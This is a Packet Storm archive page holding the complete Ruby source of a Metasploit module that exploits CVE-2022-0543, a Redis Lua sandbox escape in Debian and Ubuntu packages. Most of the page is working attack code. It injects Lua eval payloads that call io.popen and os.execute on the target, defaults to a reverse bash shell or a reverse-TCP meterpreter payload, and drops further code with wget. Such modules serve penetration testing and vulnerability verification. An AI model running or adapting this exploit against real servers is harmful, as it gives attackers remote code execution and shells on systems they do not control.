exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Redis Lua Sandbox Escape

Redis Lua Sandbox Escape
Posted Apr 27, 2022
Authored by Reginaldo Silva, jbaines-r7 | Site metasploit.com

This Metasploit module exploits CVE-2022-0543, a Lua-based Redis sandbox escape. The vulnerability was introduced by Debian and Ubuntu Redis packages that insufficiently sanitized the Lua environment. The maintainers failed to disable the package interface, allowing attackers to load arbitrary libraries. On a typical redis deployment (not docker), this module achieves execution as the redis user. Debian/Ubuntu packages run Redis using systemd with the "MemoryDenyWriteExecute" permission, which limits some of what an attacker can do. For example, staged meterpreter will fail when attempting to use mprotect. As such, stageless meterpreter is the preferred payload. Redis can be configured with authentication or not. This module will work with either configuration (provided you provide the correct authentication details). This vulnerability could theoretically be exploited across a few architectures: i386, arm, ppc, etc. However, the module only supports x86_64, which is likely to be the most popular version.

tags | exploit, arbitrary, ppc
systems | linux, debian, ubuntu
advisories | CVE-2022-0543
SHA-256 | 25990c6dc1f07a86ea2e834b9c66c011d9af3d483f0592ec3011de6f791bfa0a

Redis Lua Sandbox Escape

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::CmdStager
include Msf::Auxiliary::Redis

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Redis Lua Sandbox Escape',
'Description' => %q{
This module exploits CVE-2022-0543, a Lua-based Redis sandbox escape. The
vulnerability was introduced by Debian and Ubuntu Redis packages that
insufficiently sanitized the Lua environment. The maintainers failed to
disable the package interface, allowing attackers to load arbitrary libraries.

On a typical `redis` deployment (not docker), this module achieves execution
as the `redis` user. Debian/Ubuntu packages run Redis using systemd with the
"MemoryDenyWriteExecute" permission, which limits some of what an attacker can
do. For example, staged meterpreter will fail when attempting to use mprotect.
As such, stageless meterpreter is the preferred payload.

Redis can be configured with authentication or not. This module will work with
either configuration (provided you provide the correct authentication details).
This vulnerability could theoretically be exploited across a few architectures:
i386, arm, ppc, etc. However, the module only supports x86_64, which is likely
to be the most popular version.
},
'License' => MSF_LICENSE,
'Author' => [
'Reginaldo Silva', # Vulnerability discovery and PoC
'jbaines-r7' # Metasploit module
],
'References' => [
[ 'CVE', '2022-0543' ],
[ 'URL', 'https://www.lua.org/pil/8.2.html'],
[ 'URL', 'https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce' ],
[ 'URL', 'https://www.debian.org/security/2022/dsa-5081' ],
[ 'URL', 'https://ubuntu.com/security/CVE-2022-0543' ]
],
'DisclosureDate' => '2022-02-18',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'Payload' => {
},
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'wget'],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'MeterpreterTryToFork' => true,
'RPORT' => 6379
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('LUA_LIB', [true, 'LUA library path', '/usr/lib/x86_64-linux-gnu/liblua5.1.so.0']),
OptString.new('PASSWORD', [false, 'Redis AUTH password', 'mypassword'])
])
end

# See https://github.com/rapid7/metasploit-framework/pull/13143
def has_check?
true # Overrides the override in Msf::Auxiliary::Scanner imported by Msf::Auxiliary::Redis
end

# Use popen to execute the desired command and read back the output. This
# is how the original PoC did it.
def do_popen(cmd)
exploit = "eval '" \
"local io_l = package.loadlib(\"#{datastore['LUA_LIB']}\", \"luaopen_io\"); " \
'local io = io_l(); ' \
"local f = io.popen(\"#{cmd}\", \"r\"); " \
'local res = f:read("*a"); ' \
'f:close(); ' \
"return res' 0" \
"\n"
sock.put(exploit)
sock.get(read_timeout)
end

# Use os.execute to execute the desired command. This doesn't return any output, and likely
# isn't meaningfully more useful than do_open but I wanted to demonstrate other execution
# possibility not demonstrated by the original poc.
def do_os_exec(cmd)
exploit = "eval '" \
"local os_l = package.loadlib(\"#{datastore['LUA_LIB']}\", \"luaopen_os\"); " \
'local os = os_l(); ' \
"local f = os.execute(\"#{cmd}\"); " \
"' 0" \
"\n"

sock.put(exploit)
sock.get(read_timeout)
end

def check
connect

# Before we get crazy sending exploits over the wire, let's just check if this could
# plausiably be a vulnerable version. Using INFO we can check for:
#
# 1. 4 < Version < 6.1
# 2. OS contains Linux
# 3. redis_git_sha1:00000000
#
# We could probably fingerprint the build_id as well, but I'm worried I'll overlook at
# package somewhere and it's nice to get final verification via exploitation anyway.
info_output = redis_command('INFO')
return Exploit::CheckCode::Unknown('Failed authentication.') if info_output.nil?
return Exploit::CheckCode::Safe('Unaffected operating system') unless info_output.include? 'os:Linux'
return Exploit::CheckCode::Safe('Invalid git sha1') unless info_output.include? 'redis_git_sha1:00000000'

redis_version = info_output[/redis_version:(?<redis_version>\S+)/, :redis_version]
return Exploit::CheckCode::Safe('Could not extract a version number') if redis_version.nil?
return Exploit::CheckCode::Safe("The reported version is unaffected: #{redis_version}") if Rex::Version.new(redis_version) < Rex::Version.new('5.0.0')
return Exploit::CheckCode::Safe("The reported version is unaffected: #{redis_version}") if Rex::Version.new(redis_version) >= Rex::Version.new('6.1.0')
return Exploit::CheckCode::Unknown('Unsupported architecture') unless info_output.include? 'x86_64'

# okay, looks like a worthy candidate. Attempt exploitation.
result = do_popen('id')
return Exploit::CheckCode::Vulnerable("Successfully executed the 'id' command.") unless result.nil? || result[/uid=.+ gid=.+ groups=.+/].nil?

Exploit::CheckCode::Safe("Could not execute 'id' on the remote target.")
ensure
disconnect
end

def execute_command(cmd, _opts = {})
connect

# force the redis mixin to handle auth for us
info_output = redis_command('INFO')
fail_with(Failure::NoAccess, 'The server did not respond') if info_output.nil?

# escape any single quotes
cmd = cmd.gsub("'", "\\\\'")

# On success, there is no meaningful response. I think this is okay because we already have
# solid proof of execution in check.
resp = do_os_exec(cmd)
fail_with(Failure::UnexpectedReply, "The server did not respond as expected: #{resp}") unless resp.nil? || resp.include?('$-1')
print_good('Exploit complete!')
ensure
disconnect
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close